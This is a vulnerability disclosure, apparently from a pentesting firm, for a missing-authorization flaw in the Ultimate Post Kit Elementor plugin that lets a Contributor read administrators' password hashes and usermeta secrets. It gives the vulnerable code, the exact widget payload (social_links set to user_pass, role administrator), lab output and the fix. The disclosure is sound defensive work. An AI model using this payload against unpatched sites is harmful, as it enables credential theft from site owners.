CVE-2026-105886 The dropdown whose options were only a suggestion in Ultimate Post Kit

Intrudify's autonomous pentesting engine discovered a missing authorization vulnerability in Ultimate Post Kit for Elementor, affecting all versions up to and including 4.5.5. The Author widget uses each saved Social Links value directly as a WordPress user field name, so a Contributor can ask for user_pass and read every administrator's password hash out of their own draft. Fixed in 4.5.6.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
8 October 2026
Severity
Medium · CVSS 6.5
Vulnerability class
Missing authorization, CWE-862
Affected
Ultimate Post Kit ≤ 4.5.5
Fixed in
4.5.6
Active installs
30,000+
Attacker privilege
Contributor, with no user-listing capability
Disclosed
Every administrator's password hash, and any per-user meta
Execution
One widget, previewed in the attacker's own draft

Summary

Ultimate Post Kit adds post and author widgets to Elementor. Its Author widget has a Social Links control: a multi-select listing the eight contact methods the plugin knows about, so an author's Facebook or GitHub link can be shown beside their name.

Elementor stores control values as they arrive. A select's option list is drawn in the editor, in the browser, and is never consulted again when the value comes back. The renderer then takes each saved value and hands it to get_the_author_meta() as a field name.

get_the_author_meta() will return any column of the user row or any key of the user's meta. For user_pass it returns the raw hash, because a user object from get_userdata() carries no filter context and WordPress's own sanitising path never runs. esc_url() then leaves the hash untouched, since every character in a bcrypt hash is in its allowed set, and prints it inside an href.

A Contributor needs no capability beyond writing their own draft. They drop the widget in, set Social Links to user_pass and the role filter to administrator, and preview their own unpublished post.

Technical detail

The control, and what it does not constrain

// modules/author/widgets/author.php, Ultimate Post Kit 4.5.5

$this->add_control(
    'social_links',                                     // line 284
    [
        'label'   => __( 'Social Links', ... ),
        'type'   => Controls_Manager::SELECT2,
        'multiple' => true,
        'default' => [ 'email', 'url' ],
        'options' => ultimate_post_kit_user_contact_methods( [], true ),
    ]
);

// includes/helper.php:82 returns exactly eight keys:
// email, url, facebook, twitter, linkedin, github, wordpress, dribbble

// `options` is a list the editor draws a dropdown from. Elementor
// stores whatever is saved. nothing on the server compares the two.

The value becomes a field name

// the same file, render()

$social_links = $settings['social_links'];                  // line 1435
...
foreach ( $social_links as $link ) :                       // line 1481

    if ( get_the_author_meta( $link, $author->ID ) ) :      // line 1483

        $final_url = get_the_author_meta( $link, $author->ID );  // line 1486
        $alt_title = __( 'Click here to go ' ) . ucwords( $link );

        if ( $link == 'email' ) {
            $final_url = 'mailto:' . get_the_author_meta( $link, ... );
        }
        ?>

        <a href="<?php echo esc_url( $final_url ); ?>"        // line 1496
            title="<?php echo esc_attr( $alt_title ); ?>">

    endif;
endforeach;

// the saved string is used directly as a WordPress user field name.

Line 1483 is worth noticing. The guard asks whether the field has a value, which is a presence check, and the attacker's chosen field always has one. It reads like validation and constrains nothing.

What WordPress does with that field name

// measured on WordPress 7.1.3 in the lab, not inferred

$wpdb->get_var( "SELECT user_pass FROM wp_users WHERE ID=1" )
  $wp$2y$10$/z0saOlBQBzDlGn3b7t0GuOPZis3WEkYDe5Zn9jmkyXMNIWdQrcjq

get_the_author_meta( 'user_pass', 1 )
  $wp$2y$10$/z0saOlBQBzDlGn3b7t0GuOPZis3WEkYDe5Zn9jmkyXMNIWdQrcjq

identical          : YES, byte for byte
alias 'pass'       : same value
WP_User::$filter   : NULL   // so sanitize_user_field() never runs

esc_url( $hash )
  http://$wp$2y$10$/z0saOlBQBzDlGn3b7t0GuOPZis3WEkYDe5Zn9jmkyXMNIWdQrcjq

// a bcrypt hash is $, /, . and alphanumerics, all inside esc_url()'s
// allowed set, and it carries no colon, so esc_url() reads it as a
// relative URL and prefixes http://. nothing is removed.

get_the_author_meta( 'acme_api_token', 1 )
  sk-live-SECRET-0123456789   // any usermeta key, the same way

Three properties of WordPress combine here, and all three are documented behaviour. get_the_author_meta() resolves an unknown field through WP_User::__get(), which returns the raw column when the key is one of the wp_users columns and falls back to get_user_meta() otherwise. The raw column is returned because WP_User::$filter is null for a user fetched with get_userdata(), so sanitize_user_field() is skipped. And esc_url() is an escaper for URLs, which a password hash happens to resemble closely enough to pass through intact.

None of that is a bug in WordPress. Each piece is safe while the field name comes from the developer. Here it comes from the request.

Verification

WordPress 7.1.3, PHP 8.3, Elementor 4.3.5, Ultimate Post Kit 4.5.5, default theme, default settings, on http://127.0.0.1:8507. Four accounts: admin and admin2 as administrators, and contrib as an ordinary Contributor. A fake per-user secret was added to the administrator's meta to stand in for what an integration plugin would store.

# every request below is made over HTTP as the Contributor

principal: contrib ['contributor']
    list_users=False  edit_users=False  unfiltered_html=False

# one save_builder call, the Author widget aimed at administrators
"widgetType": "upk-author", "settings": {
    "social_links": ["user_pass"],
    "role": ["administrator"],
    "show_author_link": "yes", ... }

save_builder: HTTP 200 success=True


# the Contributor previews their own draft: GET /?p=8&preview=true

hrefs in the Contributor's own preview:
  http://$wp$2y$10$/z0saOlBQBzDlGn3b7t0GuOPZis3WEkYDe5Zn9jmkyXMNIWdQrcjq
  http://$wp$2y$10$pDZ2b6A274R7SBtxCeLJ8u5RYCv02lsbfTnoDlMfMAQXk3oeVAQLe


# the same two rows, read straight out of the database:
1  admin    $wp$2y$10$/z0saOlBQBzDlGn3b7t0GuOPZis3WEkYDe5Zn9jmkyXMNIWdQrcjq
2  contrib  $wp$2y$10$.OGQd5iFO0bWfJ7ed7aYdu0aITCKVHgSyrhVbOlvjnJSI/ERxxoTG
3  admin2   $wp$2y$10$pDZ2b6A274R7SBtxCeLJ8u5RYCv02lsbfTnoDlMfMAQXk3oeVAQLe

# both administrators. the Contributor's own row is absent, because
# role was set to administrator and the widget filtered to it.

The capability line is the point. This account cannot list users, cannot edit users and cannot write raw HTML. It read both administrators' password hashes out of a draft nobody else had seen.

Controls

# control: the shipped default, same widget, same path, same author
# social_links = ["email", "url"]

  mailto:[email protected]
  http://127.0.0.1:8507
  mailto:[email protected]

  # the widget renders normally and no hash appears. the
  # disclosure comes from the chosen value, not from the widget.


# the same request aimed at an ordinary usermeta key another
# plugin might own: social_links = ["acme_api_token"]

  http://sk-live-SECRET-0123456789


# unauthenticated reach: the submission is published by a reviewer,
# then fetched with no cookies at all

  http 200, 81534 bytes   hashes present: 2
  href="http://$wp$2y$10$/z0saOlBQBzDlGn3b7t0GuOP...
  href="http://$wp$2y$10$pDZ2b6A274R7SBtxCeLJ8u5R...

4.5.6

// Ultimate Post Kit 4.5.6, same lab, the same published post

anonymous GET  http 200, 80894 bytes
  upk-author widget on the page : 4 matches   // the widget renders
  hashes present                : 0
  "Click here to" anchors       : none
  // user_pass is filtered out of the list, so no link is emitted


// and the other pole, on the same release:
// the control post, social_links at the shipped default

  <a href="mailto:[email protected]" title="Click here to Email"
  <a href="http://127.0.0.1:8507" title="Click here to go Url"
  <a href="mailto:[email protected]" title="Click here to Email"
  hashes present: 0

// the feature works. the field names it will accept are bounded.

Both halves were measured because one alone proves little: a widget that stopped rendering would also show zero hashes. On 4.5.6 the widget still renders and a legitimate Social Links value still produces its mailto: and website links, while user_pass is dropped from the list before anything is looked up.

Impact

What is disclosed is every administrator's password hash, byte for byte as stored. Modern WordPress hashes with bcrypt, so a stolen hash is cracking material and the cracking is slow. What makes a stolen hash worth having is where the work happens: offline, with no rate limit, no lockout and no log entry on the target, against passwords people chose themselves.

The same request reaches any key in a user's meta, which is where plugins keep per-user API tokens, integration keys and connection secrets. Those are usually not hashed.

The attacker is a Contributor, which is the lowest role that can write a post, and the account used in the lab held neither list_users nor edit_users. The disclosure happens in the preview of their own unpublished draft, so nobody has to approve anything and nothing appears on the public site. If the submission is published through the ordinary review flow, the hashes are then served to anonymous visitors, which was measured with no cookies at the client.

The two databases disagree about this one, and the disagreement is the whole confidentiality metric. Patchstack scored 6.5 on CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N and Wordfence 4.3 on the same vector with C:N. The measurement above is what sits behind the higher score.

The Author module ships enabled, and no option gates any of this.

Remediation

Update Ultimate Post Kit to 4.5.6 or later.

// Ultimate Post Kit 4.5.6, modules/author/widgets/author.php

- $social_links = $settings['social_links'];

+ // Elementor stores control values verbatim, so the saved list must be
+ // checked against the control's own options before any value is used
+ // as a user field name.
+ $allowed_links = array_keys( ultimate_post_kit_user_contact_methods( [], true ) );
+ $social_links  = array_values( array_filter(
+     (array) $settings['social_links'],
+     function ( $link ) use ( $allowed_links ) {
+         return is_string( $link ) && in_array( $link, $allowed_links, true );
+     }
+ ) );

// the option list the editor draws the dropdown from is now also
// the list the renderer will accept.

One filter, in the right place. The list the editor draws the dropdown from is now also the list the renderer will accept, so the two can no longer drift apart.

If a site ran an affected version with untrusted authors, treat administrator passwords as disclosed and rotate them. The hashes cannot be un-served: a published post carrying them may have been crawled, cached or archived, and a draft preview leaves no trace at all. Rotating the password changes the hash, which is what makes a copied one worthless.

Any per-user secret another plugin stores in usermeta should be rotated on the same reasoning, since the same request reads it.

The wider lesson

A dropdown is a drawing. The option list a form control carries is rendered in the browser, and the value that comes back is just a string. That is true of every framework and every control type, and it is the oldest rule in web security. It gets forgotten most often when the control is defined by a framework the developer trusts, because the definition reads like a schema. Elementor's options key looks like a constraint and is a label map.

So the habit worth keeping: wherever a control declares a list of allowed values, find the code that reads the saved value and check that the same list appears there too. If the list is written once, in the control definition, it is decoration. The 4.5.6 fix is the whole of the correct answer and it is four lines, because the list already existed as a function.

The second thing is about what a string is allowed to become. The saved value here is not interpolated into SQL or HTML, which is what a reviewer scanning for injection would look for. It becomes an argument: the name of a field to read. A parameter that selects which data to fetch deserves the same suspicion as one that ends up in a query, because an attacker who controls it chooses the data. Field names, meta keys, option names, file paths and callback names all belong in that category.

Last, esc_url() did exactly what it exists to do and helped not at all. An escaper makes a value safe to print. It cannot make a value safe to have read in the first place, and a password hash printed perfectly safely is still a password hash on the page.

Disclosure timeline

  • 2026-09-18 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
  • 2026-10-06 Release 4.5.6 published by BdThemes
  • 2026-10-08 Public disclosure by Patchstack, CVE-2026-105886 published

Questions

What is CVE-2026-105886?

CVE-2026-105886 is a missing authorization vulnerability in Ultimate Post Kit for Elementor, affecting all versions up to and including 4.5.5. The Author widget uses each value saved in its Social Links control directly as a WordPress user field name, and nothing checks that value against the list the control offers. Asking for user_pass returns every selected author's password hash.

Who can exploit CVE-2026-105886?

Any user who can write a post, which means Contributor and above. The account used in the lab could not list users and could not edit users. The hashes appear in the preview of the attacker's own unpublished draft, so no approval and no publication are required.

Are password hashes actually dangerous?

Password hashes are cracking material. WordPress uses bcrypt, so the cracking is slow and an attacker gets no immediate login. The value is that the attempt runs offline, with no rate limiting, no lockout and nothing logged on the target site. The same request also reads arbitrary user meta, where plugins commonly store API tokens and integration keys that are not hashed at all.

Why does esc_url() not stop this?

Because the value is not a dangerous URL, it is a secret. A bcrypt hash is made of dollar signs, slashes, dots and alphanumerics, all inside esc_url()'s allowed set, and it contains no colon, so esc_url() treats it as a relative URL and prefixes http:// without removing anything. Escaping makes a value safe to print; it cannot make it safe to have read.

How do I fix CVE-2026-105886?

Update Ultimate Post Kit to 4.5.6 or later, which filters the saved Social Links values against the control's own option list before any of them is used as a field name. If untrusted authors had accounts while an affected version was installed, rotate administrator passwords and any per-user secrets stored in user meta.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.